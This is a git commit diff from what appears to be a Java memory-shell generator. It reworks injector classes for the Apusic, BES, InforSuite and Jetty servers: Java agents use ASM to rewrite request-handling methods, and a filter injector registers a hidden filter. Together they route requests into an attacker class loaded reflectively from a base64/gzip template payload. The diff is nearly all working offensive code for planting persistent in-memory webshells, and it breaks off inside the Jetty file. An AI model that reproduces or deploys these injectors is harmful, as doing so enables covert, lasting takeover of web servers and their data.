feat: use ASM Agent by default

This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent eeed6e45c7
commit a3704eb7b7
154 changed files with 6927 additions and 5720 deletions
@@ -0,0 +1,223 @@
package com.reajason.javaweb.memshell.injector.apusic;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
private static final String TARGET_METHOD_NAME = "performFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.bes;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,191 @@ public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.bes.enterprise.webtier.core.DefaultContextValve"))
.transform(new BesContextValveAgentInjector())
.installOn(inst);
inst.addTransformer(new BesContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public BesContextValveAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.bes;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
public class BesFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,191 @@ public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain"))
.transform(new BesFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
inst.addTransformer(new BesFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public BesFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
}
}
@@ -44,6 +44,10 @@ public class InforSuiteFilterInjector {
return "{{base64Str}}";
}
/**
* com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar
*/
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -59,12 +63,18 @@ public class InforSuiteFilterInjector {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
ClassLoader classLoader = getWebAppClassLoader(context);
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
@@ -83,8 +93,9 @@ public class InforSuiteFilterInjector {
log.warning("filter already exists");
return;
}
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -97,7 +108,7 @@ public class InforSuiteFilterInjector {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = null;
@@ -1,39 +1,37 @@
package com.reajason.javaweb.memshell.injector.jetty;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.Arrays;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
public class JettyHandlerAgentInjector implements ClassFileTransformer {
private static final List<String> TARGET_CLASSES = Arrays.asList(
"org/eclipse/jetty/servlet/ServletHandler",
"org/eclipse/jetty/ee8/servlet/ServletHandler",
